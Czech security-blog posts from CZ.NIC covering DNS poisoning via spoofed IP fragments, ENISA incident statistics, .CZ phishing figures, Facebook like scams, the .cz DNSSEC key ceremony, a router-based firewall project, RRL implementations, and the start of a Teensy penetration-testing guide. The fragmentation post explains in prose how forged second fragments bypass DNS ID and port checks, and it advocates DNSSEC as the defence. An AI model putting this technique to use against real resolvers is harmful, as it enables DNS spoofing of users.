Amir Herzberg a Haya Shulmanová z izraelské Bar Ilan University na konferenci IETF 87 v Berlíně představili novou variantu otrávení DNS pomocí fragmentace IP paketů. Kompletní prezentaci lze najít v IETF 87 Proceedings.
Doporučuji si pro osvěžení tématu znovu přečíst o útoku na DNS, který před pěti lety objevil Dan Kaminsky. Kromě použití technologie DNSSEC, která je jedinou opravdu funkční ochranou proti podvrhávání DNS odpovědí, se jako jedna z obran začaly používat náhodné zdrojové porty, které přidaly dalších ~16 bitů entropie.
Už v té době jsme ve studii (kratší shrnutí) upozorňovali, že ani větší počet náhodných bitů nezaručuje ochranu před podvržením a otrávením DNS, a s dostatečně velkým datovým tokem (~100Mbps) je možné otrávit DNS za dobu lehce překračující jeden den (~25 hodin).
Izraelští výzkumníci nyní přišli s novými variacemi útoku na DNS, které ukazují, že opravdu potřebujeme kryptograficky silné DNS a potřebujeme jej pokud možno ihned.
Hlavička IPv4 paketu vypadá takto:
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Celá hlavička UDP datagramu vypadá takto:
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Length | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Důležité je vědět, že v případě, že spojení mezi dvěma směrovači má nižší MTU (Maximum Transmission Unit) dojde k fragmentaci paketu na několik částí, které jsou identifikovány stejným číslem v poli Identification (dále IP-ID). Fragmentovaný provoz může vypadat například takto:
14:56:02.608188 IP (tos 0x0, ttl 64, id 47557, offset 0, flags [+], proto ICMP (1), length 1500)
217.31.204.249 > 12.22.58.30: ICMP echo request, id 22368, seq 1, length 1480
14:56:02.608193 IP (tos 0x0, ttl 64, id 47557, offset 1480, flags [none], proto ICMP (1), length 48)
217.31.204.249 > 12.22.58.30: ip-proto-1
14:56:02.797078 IP (tos 0x0, ttl 60, id 61513, offset 0, flags [none], proto ICMP (1), length 1528)
12.22.58.30 > 217.31.204.249: ICMP echo reply, id 22368, seq 1, length 1508
Jak lze vidět, tak odchozí ICMP zpráva typu echo request (tj. ping) byla rozdělena na dvě části s IP-ID = 47557 a rozdílnými offsety. Fragmentované části paketu pak budou v cíli spojeny do jednoho a aplikace, která přenesenou zprávu zpracovává, ji dostane v jednom bloku. A protože k defragmentaci paketů dochází až v cílové destinaci a směrovače fragmentované pakety nijak speciálně nesledují, tak je možné, že každá část fragmentovaného paketu dorazí k cíli například jinou cestou nebo v jiném pořadí, než byly fragmenty odeslány.
Toto skládání částí paketu mimo pořadí nahrává útočníkovi. Pokud ví, jaké je po cestě MTU, což nemusí být tak složité zjistit, tak může začít podvrhovat následné (tedy druhé a vyšší) části paketů. Takto podvrhnuté fragmenty můžou mít dvojí efekt – jednak je možné do druhé části paketu vložit vlastní obsah a jednak v případě rozdílné udané velikosti celého paketu je možné donutit operační systém, který je zodpovědný za defragmentaci paketu, aby (pro útočníka) nežádoucí pakety zahazoval (tj. taková trochu chytřejší varianta DDoS útoku).
Další (a poslední) část fragmentační skládačky spočívá v tom, že existuje ICMP zpráva typu fragmentation needed, kterou si počítače na cestě domlouvají maximální velikost paketu, kterou dokážou přenést. V případě IPv4 je minimální velikost MTU 68, v případě IPv6 je to 1280. Bohužel tuto zprávu lze celkem dobře podvrhnout a cílový server donutit snížit MTU na hodnotu, která je pro útočníka výhodná. Tato nová hodnota je v operačních systémech držena v dočasné paměti až několik minut.
Jaké to tedy má důsledky pro DNS? Na to se musíme podívat do hlavičky DNS zprávy:
1 1 1 1 1 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ID |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR| Opcode |AA|TC|RD|RA| Z | RCODE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QDCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ANCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| NSCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ARCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
Již jsme si řekli, že ochranu proti spoofingu nám zajišťuje ID v hlavičce zprávy (16 bit) společně se zdrojovým portem v UDP zprávě (16 bit).
Když se ale podíváme zpátky pouze na IP vrstvu, tak zjistíte, že obě informace (DNS-ID i source port) jsou vždy uloženy pouze v prvním IP fragmentu, tudíž útočníkovi stačí podvrhnout druhou část paketu, kterou nahradí vlastním obsahem. Při podvrhávání potřebuje útočník uhádnout jenom správné IP-ID, aby se podvržený fragment spojil se začátkem platné odpovědi. Kromě toho, že hádání 16-bitového IP-ID je velmi jednoduché provést pouhou hrubou silou, tak celou situaci ještě zjednodušuje fakt, že hodnoty IP-ID se většinou negenerují úplně náhodně. Na některých operačních systémech existuje globální counter IP-ID, takže hodnotu aktuálního IP-ID systém vyzrazuje s každým odeslaným paketem (a útočník tedy přibližně ví, do jakého rozsahu se má trefovat). Pokud cíl útoku běží na Linuxu, tak je to pro útočníka naštěstí trochu složitější, protože pro každou cílovou adresu má Linuxové jádro zvláštní IP-ID counter, ale i toho však lze bohužel zneužít.
Poslední komplikace, kterou útočník musí vyřešit, je kontrolní součet v UDP hlavičce. Nicméně ani to není velký problém, protože jednak útočník ví, jak bude odpověď DNS serveru vypadat, protože se sám může zeptat, a v DNS paketu je vetšinou dost místa na to, aby kromě falešné odpovědi do DNS paketu ještě nacpal další data, kterými 16-bitový kontrolní součet nastaví na požadovanou hodnotu.
Poslední zefektivnění útoku probíhá opět již na IP vrstvě a závisí na implementaci IP stacku v jednotlivých operačních systémech, nicméně je možné říci, že ve většině případů je možné tuto optimalizaci dost efektivně využít. Již jsme si výše řekli, že fragmentované pakety mohou přijít mimo pořadí, a protože je UDP nespojovaný protokol a zároveň vrstva, která dělá defragmentaci v IP stacku nemá moc ponětí o vrstvách vyšších, je možné podvržené druhé fragmenty poslat dopředu na náš cíl útoku a ony se uloží do vyrovnávací paměti operačního systému. Teprve po tomto „nahrání“ druhých fragmentů útočník vyvolá Kaminsky-style dotaz, a odpověď, kterou cílová aplikace dostane, bude složena z přednahraného části a prvního fragmentu správné odpovědi.
Celý koncept útoku dále v Laboratořích CZ.NIC zkoumáme, a mimo jiné bychom rádi v rámci ověření efektivity takového útoku vyrobili funkční PoC (Proof of Concept) implementaci celého útoku. O tom, zda-li jsme uspěli, Vás budeme dále informovat.
Na závěr bych rád řekl jednu špatnou a jednu dobrou zprávu. Ta špatná zpráva je, že v současné době není proti tomuto útoku známa žádná jiná efektivní obrana než nasazení DNSSECu. Ta dobrá zpráva je, že pokud máte doménu .CZ, tak máte skoro 40% šanci, že Vás DNSSEC chrání. Jestli chcete vědět, jak s DNSSEC pracovat, přijďte do naší akademie. Kurz se jmenuje více než prozaicky – DNSSEC – zabezpečení DNS.
Ondřej Surý
Co způsobuje v Evropě největší výpadky?
Co způsobuje největší výpadky v Evropě? Jak dlouho trvá jejich odstranění? Kolik uživatelů postihují? Jsou kybernetické útoky na ústupu nebo naopak? Na tyto a další otázky odpovídá Výroční zpráva o incidentech za rok 2012 Evropské agentury pro síťovou a informační bezpečnost (ENISA – European Network and Information Security Agency). Na základě analýzy 79 závažných incidentů elektronických komunikačních sítí a služeb ze všech 28 států Evropské unie byla vypracována zpráva obsahující statistiky s různými proměnnými, která má pomoci vytvořit obraz největších incidentů na území Evropské unie za rok 2012. Podobný report ENISA již jednou vypracovala, proto bylo v tomto roce možné výsledky porovnat a začít sledovat jejich vývoj.
Potvrzením známých trendů je skutečnost, že nejvíce incidentů postihuje mobilní zařízení a mobilní Internet. V důsledku vysoké míry rozšíření mobilních telefonů a mobilního Internetu v Evropě, tak postihuje také nejvíce uživatelů. Každý incident v mobilní síti zasáhne v průměru až 1,8 miliónu uživatelů. To je způsobené mimo jiné faktem, že v Evropě jsou mobilní služby v porovnání s pevným připojením rozšířenější a tak se také mohou stát snadněji „obětí“ větších plošných útoků.
Nejčastějším důvodem incidentu je systémová chyba. Až 76 % incidentů je tak způsobených softwarovou či hardwarovou chybou. Hardwarové chyby se podle statistik vyskytují nejčastěji, až za nimi následují chyby způsobené softwarovou vadou. Zajímavé však je, že incidenty způsobené třetí stranou (např. ztráta energie), které tvořily jenom 13 % případů, odpovídaly za nejvíce ztracených hodin samotných uživatelů.
Na jedné straně jsou incidenty, jejichž počet a důsledky můžeme limitovat, na druhé straně jsou však incidenty, kterým dokážeme jenom těžko zabránit. Do této kategorie spadají incidenty spojené s přírodními silami. V jejich případě trvá průměrně až 36 hodin, než dojde k jejich odstranění. Nejenže tento typ incidentu trval v průměru nejdéle, ale také počet ztracených uživatelských hodin se vyšplhal na 20 283, což je hned po již vzpomínaných chybách způsobených třetími stranami nejvíce. Poměrně dlouho také trvala náprava v případě, kdy byl incident způsobený lidským faktorem. Zde se jedná v průměru až o 26 hodin.
Velice zajímavá fakta se však objevila v souvislosti s kybernetickými útoky. Zatímco v roce 2011 byly jenom za dvěma procenty incidentů, v roce 2012 se tento počet ztrojnásobil. Když si je však porovnáme s incidenty způsobenými například hardwarovými chybami, trvalo jejich odstranění pouze tři hodiny. V případě hardwarových příčin se jednalo až o devět hodin. Kybernetické útoky se však dostávají na top pozice v počtu omezených připojení, kde obsadily tento rok nelichotivou čtvrtou příčku.
Zajímavý pohled je také na konkrétní případy, které se vyskytly v členských státech EU. Samozřejmě jsou tyto případy anonymizované tak, aby nebyla dotčena práva zainteresovaných stran. V jednom z těchto případů dokázal útočník přes DDoS ovlivnit 2,5 miliónů uživatelů Internetu na 1 až 2 hodiny. Jiným příkladem je incident, při němž bývalý zaměstnanec založil oheň na ústředně, která zprostředkovávala DSL připojení k Internetu pro přibližně 10 000 uživatelů. V tomto případě trvalo až 36 hodin, než se připojení obnovilo. V jiném případě aplikoval dodavatel pravidelný softwarový update pro Home Location Register, což je vlastně taková centrální databáze v mobilní síti, která obsahuje informace o každém účastníkovi, který používá mobilní telefon. Bohužel se ukázalo, že tento update byl chybný. Tato chyba pak měla dopad na zhruba polovinu zákazníků a výpadek trval přibližně osm hodin.
Z těchto statistik i individuálních případů vyplývá, že je vhodné být připravený na všechny možné situace. Kromě sledování aktuálních trendů v oblasti bezpečnosti, dobře ošetřené fyzické bezpečnosti, či třeba vhodného testovacího prostředí pro testování nových aplikací a updatů, je potřeba mít také připravené adekvátní krizové plány, které pomohou předejít chaosu v prvních okamžicích po vzniku incidentu. Včasná a správně zvolená reakce na incident může pomoci předejít rozsáhlejším škodám, zkrátka i v této oblasti platí okřídlené úsloví připraveným štěstí přeje.
Zuzana Duračinská
Počet phishingových útoků v doméně .CZ se opět snížil
Další zpráva sdružení APWG zabývající se phishingovými útoky přináší výsledky měření za druhé pololetí roku 2012. Vytrvalé monitorování a rychlá reakce na zjištěné phishingové útoky, jimž se věnují oba naše CSIRT týmy (národní CSIRT.CZ, interní CZ.NIC-CSIRT), zdá se odrazují útočníky od zneužívání domény .CZ čím dál více. Zatímco v předchozích dvou pololetích bylo v doméně .CZ 171 (2/2011) a 170 (1/2012) phishingových útoků, v druhém pololetí roku 2012 bylo takových útoků již pouze 135.
Nejvíce zneužívané domény prvního řádu
Došlo také k dalšímu snížení ukazatele počtu phishingových útoků na deset tisíc registrovaných doménových jmen v zóně .CZ. V současné chvíli je tento ukazatel rovný číslu jedna, což oproti minulému pololetí představuje zlepšení o jednu desetinu procenta. Opět také poklesl průměrný uptime phishingových stránek v doméně .cz, a to z předchozích 39 hodin a 41 minut na 24 hodin a 56 minut. Podle výzkumů organizací, které se boji s phishingem věnují, mají phishingové stránky největší výtěžnost během prvních 24 hodin. Tedy již se blížíme hranici, při které se útočníkům přestane phishing v naší národní doméně vyplácet. Jediný ukazatel, který se od minule zvýšil, je medián uptimu. Ten stoupl z 13 hodin a 54 minut na 15 hodin a dvě minuty. I tak si ale myslím, že jsme si celkově velice polepšili.
Na závěr bych chtěl proto touto cestou poděkovat všem administrátorům, se kterými naše týmy při řešení útoků spolupracují, za jejich příkladnou spolupráci při odstraňování phishingových stránek na jimi provozovaných serverech.
Pavel Bašta
K čemu slouží facebookový „like“ scam?
Určitě jste již někdy slyšeli o facebookové hře Farmville. Ale říká vám něco pojem Like-farming? Jedná se o sbírání „lajků“, tedy v podstatě fanoušků, pro konkrétní facebookovou stránku. Vlastně mě k sepsání tohoto blogpostu inspirovala pozvánka, kterou jsem nedávno dostal a která vedla na stránku „Tvůj Rodokmen aneb: Poznej své předky!
Snad ani netřeba zdůrazňovat, že žádný rodokmen nezískáte.
Podobných podvodných stránek vzniká na Facebooku celá řada. Jejich primárním cílem je nějakým způsobem nalákat uživatele, aby se stali fanouškem stránky a zároveň do ní pozvali své další přátele. Za tímto účelem se používají obvykle dvě taktiky: první něco slibuje (lechtivé video s celebritou, výhru iPhonu, iPadu, změnu vzhledu facebookové stránky, či třeba možnost sledovat, kdo si prohlížel váš facebookový profil), druhá je zastrašující (pokud nesouhlasíte se zpoplatněním využívání Facebooku, pak dejte like). Podobným skupinám je tedy vhodné se vyhnout. Pokud si nejste jisti, můžete využít například stránku facecrooks.com.
Cui bono? To je ta otázka, o kterou zde kráčí. Možná si říkáte, k čemu taková stránka může někomu být? Tak například často bývá podmínkou získání slíbené odměny požadavek na vyplnění nějaké ankety. Za to, že věnujete svůj čas jejímu vyplnění, však dostává zaplaceno majitel stránky, Vy se samozřejmě slíbené odměny, například ve formě růžového facebookového profilu, nedočkáte. Jiný způsob výdělku spočívá ve zobrazování reklamy fanouškům stránek nebo v přímém prodeji takto vybudované stránky dalšímu zájemci.
Poptávka po stránce s více než 50 tisíci fanoušky.
A nabídka (stránky již byly prodány).
Nejhorší možnou variantou je zneužití takovéto skupiny k šíření malware, například formou odkazu na video, které prostě musíte vidět. Samozřejmě místo videa budete vyzváni ke stažení přehrávače videa. Tento soubor však ve skutečnosti obsahuje malware, který ukradne vaše citlivá data a použije váš účet k dalšímu šíření odkazů na tento malware.
Doufám, že po přečtení tohoto krátkého článku budete při používání Facebooku zase o trochu obezřetnější a že nedáte zbytečně šanci vykukům, kteří vydělávají na lidské naivitě. Tak schválně, každý kdo dá like na tento článek, tomu se na facebookové stránce zpřístupní možnost sledovat soukromou korespondenci ostatních uživatelů.
Pavel Bašta
Vše, co jste kdy chtěli vědět o zabezpečení podpisu zóny .cz (ale báli jste se zeptat)
Možná jste někdy přemýšleli, jakým způsobem je zajištěna bezpečnost při podepisování naší národní domény .cz a zda podepsání vaší vlastní domény nemůže ohrozit špatné zabezpečení domény nadřazené, tedy té .cz. O ceremonii kolem generování klíče KSK pro kořenovou zónu a o jeho zabezpečení jste se mohli dočíst například v tomto článku. Náš kolega Ondřej Surý je totiž jedním ze sedmi lidí na světě, kteří vlastní SMK kartu nezbytnou pro obnovení KSK klíče kořenové zóny. Jeho rady a zkušenosti nám také pomohly při vytváření našich vlastních procesů a pravidel nutných pro co nejbezpečnější provozování DNSSECu v zóně .cz.
Aby byla zvýšena bezpečnost při nakládání s KSK klíčem, je jeho správa oddělena od správy ZSK klíčů. Ty jsou používány při podepisování zóny pomocí DNSSEC a slouží k podpisu všech záznamů v zóně, zatímco KSK klíč slouží pouze k podepisování všech DNSKEY záznamů.
Členové KSK týmu při KSK ceremonii
Samotné vybavení nezbytné pro realizaci KSK ceremonie, včetně notebooku, zařízení s uloženým KSK klíčem i bootovacího CD s Linuxem je uloženo v trezoru v sídle našeho sdružení. Vlastně to není tak docela přesné, protože v trezoru je ještě jedna schránka s vlastním zámkem, ve které jsou tyto nezbytnosti uloženy. Každý z členů KSK týmu má klíč pouze od trezoru, nebo od vnitřní schránky. Není tedy možné, aby někdo z KSK týmu sám vyjmul z trezoru jakoukoliv součást vybavení pro KSK ceremonii. Další kopie KSK klíčů a bootovacího CD jsou pro případ katastrofy uloženy také v trezoru banky.
Notebook má fyzicky odpojené bezdrátové sítě a je z něj vyjmutý harddisk, aby nebylo možné se na něj jakýmkoliv způsobem bezdrátově připojit a abychom se vyhnuli riziku nějakých zbytkových dat v cache, uložených mimo naši kontrolu. K bootování se používá CD s Ubuntu 12.0.4 LTS, upraveným pro potřeby ceremonie.
Pokud jde o generování nového KSK klíče, je při generování klíčů vždy přítomen jeden zástupce managementu. Po vygenerování nového klíče je získán hash tohoto klíče, který je zaprotokolován. Podepsané kopie dokumentu jsou následně rozdány všem držitelům klíčů od trezoru (členům KSK týmu), aby si kdykoliv v průběhu ceremonie mohli zkontrolovat, že se používá správný KSK klíč.
V případě potřeby podepsat novou sadu ZSK klíčů je tato nová sada podepsána GPG klíčem ZSK týmu a předána zástupcům KSK týmu. Ti musí být vždy minimálně dva a po celou dobu ceremonie se pohybují společně. Skript, který se stará o samotné podepsání, je zkontrolován ještě před podepsáním nové sady a to proto, aby byla žádost podepsána správným GPG klíčem ZSK týmu. Po podepsání je výsledná podepsaná sada ZSK klíčů opět podepsána pomocí GPG klíče KSK týmu tak, aby si následně členové ZSK týmu mohli být jisti, že manipulují se správnou sadou klíčů.
Celá ceremonie pro podepisování zóny .cz může působit jako poměrně složitá. Naším cílem však bylo poskytnout držitelům domén v zóně .cz jistotu, že ke kompromitaci KSK klíče a tím ohrožení bezpečnosti jejich domény nemůže dojít.
Pavel Bašta
Distribuovaná kybernetická bezpečnost
Na konferenci IT 13 jsme mimo jiné představili nový projekt zaměřený na vývoj bezpečného domácího routeru. Ten je součástí většího projektu zaměřeného na zlepšení bezpečnosti v českém síťovém prostředí a to pomocí aktivního monitoringu a analýzy síťového provozu. Zmíněný domácí router bude v rámci tohoto projektu plnit roli síťové sondy a zároveň aktivního prvku v ochraně koncových uživatelů.
V tomto krátkém článku si představíme především hlavní důvody vzniku tohoto projektu a jeho cíle.
Motivace
Každý, kdo provozuje nějaký veřejně dostupný server a podívá se občas do jeho logů, ví, že internet není klidné a bezpečné místo. I bez jakéhokoli zásahu uživatele se s počítačem připojeným k internetu neustále pokouší spojit různé cizí stroje a to málo kdy s dobrými úmysly (vizte např. výsledky z našeho honeypotu).
Vzhledem k tomu, že většina domácích sítí je připojená k síti svého poskytovatele přes jeden přístupový bod, kterým je domácí router, a často používá NAT, který schovává celou domácí síť za jedinou IP adresu, vedou první útoky v podstatě vždy právě na domácí router. Ten je tedy ideálním místem jak pro detekci pokusů o neoprávněný přístup do sítě, tak pro aktivní ochranu před nimi. Pokud by si navíc routery byly schopny mezi sebou informace o detekovaných útocích vyměňovat, mohlo by to vést ke zvýšení účinnosti ochrany jednotlivých strojů a zároveň detekci velkých útočníků.
Protože se v našem sdružení dlouhodobě věnujeme problematice internetové bezpečnosti, rozhodli jsme se vytvořit systém, který by s pomocí sítě domácích routerů dokázal monitorovat podezřelý síťový provoz a reagovat na zjištěné bezpečnostní hrozby úpravou pravidel pro přístup do sítě. Takto získané výsledky by pak byly k dispozici i pro ochranu dalších uživatelů Internetu.
Distribuovaný adaptivní firewall
Systém, který jsem nastínil v minulém odstavci, interně nazýváme „distribuovaný adaptivní firewall“ a je v této chvíli ve fázi aktivního vývoje. Součástí systému je klientská část, která po aktivaci na domácím routeru monitoruje nevyžádané pokusy o přístup do sítě zastavené firewallem a také provádí analýzu protékajících dat. V těch se pokouší odhalit anomálie, které by mohly být příznakem úspěšného útoku nebo již existující nákazy. Výsledky obou zmíněných částí klientského systému jsou nahrávány na druhou část systému, kterou je centrální server, kde jsou data dále zpracovávána a porovnávána s výsledky z ostatních sond.
Pokud je systémem některá část provozu vyhodnocena jako anomální a odborná obsluha systému vyhodnotí danou anomálii jako potenciální útok, připraví pro ni nové pravidlo pro firewall. To je potom formou aktualizace nahráno zpět na všechna zařízení zapojená do sběru dat.
Pro případy, kdy je třeba o dané anomálii získat doplňující informace, je součástí systému také nástroj na spouštění specializovaných „mikrosond“, které je možné formou modulů nahrávat na sledovaná zařízení. Ty pak umožní zaměřit analýzu na konkrétní typ provozu a získat detailnější data o daném jevu.
Výsledkem výše popsaných opatření je systém, v rámci kterého budou moci uživatelé chránit své sítě i sítě ostatních účastníků před vnějšími útoky a který se bude postupně „učit“ reagovat na nové hrozby. Navíc bude možné takto získaná data použít i pro ochranu další uživatelů Internetu, kteří nejsou do projektu přímo zapojeni, a také pro další analýzy získaných informací.
Závěr
V tomto článku jsme si představili nový projekt sdružení CZ.NIC zaměřený na distribuovanou kybernetickou bezpečnost. V blízké budoucnosti si v samostatném příspěvku ukážeme hlavního aktéra tohoto projektu, kterým je otevřený domácí router vyvíjený pod interním označením „CZ.NIC router“.
Bedřich Košata
Response rate limiting pod drobnohledem
O RRL již krátce psal Ondřej Surý v článku Ochrana obětí před DNS amplification útoky, tak tedy jen v rychlosti oč se jedná. RRL je jedna z metod, jak se poprat s amplifikačními útoky na DNS, která shlukuje podobné odpovědi do tříd a následně omezuje rychlost toku odpovědí v pro danou třídu. Jedná se v podstatě o opak filtrování dotazů na firewallu a výhodou je právě třeba identifikace různých dotazů vedoucí na podobnou odpověď, typicky na neexistující jméno. RRL v současné chvíli implementuje BIND9/10, NSD od verze 3.2.15 a Knot DNS od verze 1.2.0-rc3.
Vzhledem k tomu, že v současné chvíli není tento mechanismus nijak standardizován, každá implementace se chová mírně odlišně. Podívejme se trochu blíže na tři nejzajímavější rozdíly a to, jaký vliv mají na chování serveru pod útokem.
Základní časovou jednotkou pro měření rychlosti toku je vteřina, pro kterou do každé třídy přibyde počet tokenů odpovídající povolené rychlosti. S každou odpovědí se pak token odebírá, a pokud už jsme vše vyčerpali, odpověď zahazujeme. BIND9 k tomu navíc zavádí ještě jedno „makro okno“, které průměruje rychlost toku pro několik následujících vteřin. Zásadním rozdílem je, že v rámci tohoto okna se může počet dostupných tokenů snížit do záporných hodnot, a tím vyčerpat kapacitu pro celý zbytek okna. Jestli je například okno dlouhé 5 vteřin, limit je 10 odpovědí za vteřinu a v první vteřině přijde 50 podobných dotazů, tak následující 4 vteřiny nebude podobné dotazy zodpovídat. Knot DNS ani NSD takový koncept nemají, dá se tedy říct že délka časového okna je 1s. Důvodem je větší férovost odezvy, každá vteřina začíná s čistým štítem, avšak za cenu menší agresivity potlačení nárazových toků.
Co ale dělat v případě, že přijde legitimní dotaz v době, kdy byl vyčerpán počet tokenů? Úplně jej zahodit? Takový dotaz jen velmi těžko rozlišíme od útoku, ale přesto bychom měli dát legitimnímu tazateli možnost získat odpověď a ne jej úplně odstřihnout. Místo toho, aby tedy server dotaz zcela ignoroval, tak odešle prázdnou odpověď s nastaveným TrunCated bitem v hlavičce. Tazatel je pak nucen opakovat dotaz po TCP, na který už dostane odpověď. Takovému mechanismu se říká SLIP (podporují ho všechny implementace). Knot DNS se odlišuje tím, že má počítadlo pro každé vlákno zvlášť, a pro menší rychlost toku není tak přesný. Během testování se ale nepřesnost nijak zvlášť neprojevila a největší vliv má konzervativní výchozí nastavení.

(Zdroj: Comparison of RRL behaviour in BIND9, Knot DNS, and NSD, Dave Knight, DNS-OARC Spring 2013)
Třetí zásadní odlišností je způsob klasifikace odpovědí. Technické memo a BIND9 klasifikují odpověď pomocí:
- Zdrojové adresy (podsítě)
- Dotazovaného jména (nebo zóny v případě chyb, nadřazeného jména pokud je odpověď pokrytá wildcardem)
- Návratové hodnoty (RCODE)
NSD navíc rozlišuje několik podtříd dotazu, např. pokud je dotaz na typ ANY, Knot DNS dotazy navíc ještě klasifikuje podle velikosti. Všechny současné implementace jsou založené na hash tabulkách. Liší se ale výrazně v tom, jakým způsobem řeší kolize. Implementace v BIND9 je založená na přeplňování tabulek, přičemž kolidující klíče se řetězí za sebe (do omezeného počtu). A právě o kolizích probíhala na mailinglistu RRL dost živá diskuze. Abych to vysvětlil, řetězení dobře řeší kolize pokud je zdrojová podsíť různá, ale pořád zůstává možnost kolize hashe dotazovaného jména, které se neukládá celé. Nově ale zavádí potenciální problém, a to že útočníkovi do určité míry možnost kontrolovat množství alokované paměti pro tabulku a ztrácí výkon na procházení zřetězených hodnot.
NSD používá tabulku pevné velikosti, bez řetězení. Netrpí tedy na výše popsané problémy, ale s větší pravděpodobností umožňuje útočníkovi předem spočítat kolidující odpovědi (Birthday attack) v závislosti na velikosti tabulky. Protože není kolize kam řetězit, tak pro danou třídu resetuje počet tokenů, což sice na jednu stranu vylučuje riziko omezení kolidujících odpovědí, ale umožňuje při nalezení dvou kolidujících dotazů rate limiting zcela obejít.
Knot DNS využívá hopscotch hashing, který je velmi dobrým kompromisem s nízkou pravděpodobností kolize (1/32!) při zachování pevné velikosti. Zároveň do klíče přidává náhodně generované tajemství pro znesnadnění predikce kolizí a umožní jen jeden reset počítadla třídy za vteřinu.
Ze zatím dostupných měření na reálných datech vyplývá, že chování všech implementací je i přes popsané rozdíly velmi podobné a liší se především citlivostí u pomalého toku dotazů. Hlavním omezením metody založené na rate limitingu je především nemožnost rozlišit právoplatný dotaz od útoku, což ale při rozumné spolehlivosti není ani prakticky možné. Příliš agresivní omezení by tak mohlo vést k přílišnému zahazování právoplatných dotazů, konzervativní zase k nižší účinnosti. BIND9 doporučuje agresivnější nastavení, Knot DNS je spolu s NSD spíše na konzervativní straně (RRL ve výchozím nastavení vypnuté, v dokumentaci 50 r/s).
Marek Vavruša
Teensy jako nástroj pro penetrační testování
USB je stále často podceňovaným místem, přes které může být kompromitován operační systém. Kromě klasického šíření malware pomocí USB Mass storage disků, Flash disků s podporou U3, které umožňují obejít dnes již ve většině operačních systémů existující blokaci autorun funkce, a hardwarových keylogerů stojí za pozornost programovatelná zařízení, která se vůči systému chovají jako klávesnice. Jedno takové zařízení bych tu dnes chtěl krátce prezentovat.
Pro fanoušky open-source platformy Arduino nebude pravděpodobně ani Teensy zcela neznámé. Pro ty, kteří zatím neměli tu čest, jen krátké představení. Jedná se o jednočipové počítače, které jsou vhodné pro různé jednoúčelové aplikace jako je řízení, či regulace. Takové Arduino můžete například použít k řízení nějakého vašeho vozítka či na něm naprogramovat jednoduchý webový server a připojit jej k internetu. My se však dnes zaměříme na Teensy a především na možnost využití tohoto zařízení k penetračnímu testování.
Toto zařízení má totiž hned tři výhody, je malé, takže se snadno vměstná například do útrob počítačové myši, jeho pořizovací cena je kolem $20 a především, z pohledu počítače se umí hlásit jako MIDI/USB/HID zařízení, což mimo jiné znamená, že počítač jím zadaná data interpretuje jako povely od uživatele. Tady se právě otevírá cesta pro využití při penetračním testování. Ale pojďme pěkně po pořádku.
Teensy ++ 2.0 ve srovnání s běžným flash diskem
Kromě samotného zařízení – já jsem vše testoval na Teensy ++ ve verzi 2.0 – potřebujeme ještě obslužný software. Pokud si chcete následující proceduru ušetřit, můžete sáhnout po distribuci Backtrack 5 R3, kde už je jak ADE, tak i podpora pro Teensy implementována. V opačném případě na této adrese stáhneme nejdříve Arduino Development Environment (ADE) pro námi požadovanou platformu a rozbalíme jej na disk. Pokud pracujeme na linuxu, pak musíme ještě udělit non-root uživatelům práva k použití Teensy.
sudo cp 49-teensy.rules /etc/udev/rules.d/
